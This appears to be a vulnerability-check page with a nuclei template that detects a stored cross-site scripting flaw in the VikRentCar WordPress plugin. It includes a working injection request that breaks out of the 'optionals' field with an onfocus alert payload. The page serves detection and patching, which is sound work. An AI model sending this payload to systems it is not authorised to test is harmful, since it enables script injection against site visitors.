VikRentCar <= 1.4.10 - Cross-Site Scripting

highseverity

7.2CVSS score

0.5%likelihood of exploitation, next 30 days

45%of all CVEs are less likely

Readycheck to confirm it

The VikRentCar Car Rental Management System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'optionals' parameter in all versions up to, and including, 1.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Impact

Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.

Fix

Update to the latest version beyond 1.4.10.

How to confirm it

Send: GET /rental/
Positive when: status_code == 200 and contains(to_lower(body), "com_vikrentcar") || contains(to_lower(body), "/plugins/vikrentcar/")
Send: GET /rental/?task=oconfirm&carid=1&days=1&pickup={{unix_time()+86400}}&release={{unix_time()+172800}}&priceid=1&place=1&returnplace=1&optid{{oid}}=1%22%20onfoc…
Positive when: contains "name=\"optionals\" value=\"" and "onfocus=\"alert(document.domain)\" autofocus" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-116548 -u <target>

The full check

id: CVE-2026-116548

info:
  name: VikRentCar <= 1.4.10 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    The VikRentCar Car Rental Management System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'optionals' parameter in all versions up to, and including, 1.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update to the latest version beyond 1.4.10.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c6813d20-ed4e-4cd0-9fe2-dd1f21683ef4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116548
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-116548
    epss-score: 0.00524
    epss-percentile: 0.44824
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: e4j
    product: vikrentcar
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,vikrentcar,xss,vkev

variables:
  oid: "1"

flow: http(1) && http(2)

http:

  - raw:
      - |
        GET /rental/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "com_vikrentcar") || contains(to_lower(body), "/plugins/vikrentcar/")'
        condition: and
        internal: true

  - raw:
      - |
        GET /rental/?task=oconfirm&carid=1&days=1&pickup={{unix_time()+86400}}&release={{unix_time()+172800}}&priceid=1&place=1&returnplace=1&optid{{oid}}=1%22%20onfocus%3D%22alert(document.domain)%22%20autofocus%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="optionals" value="'
          - 'onfocus="alert(document.domain)" autofocus'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from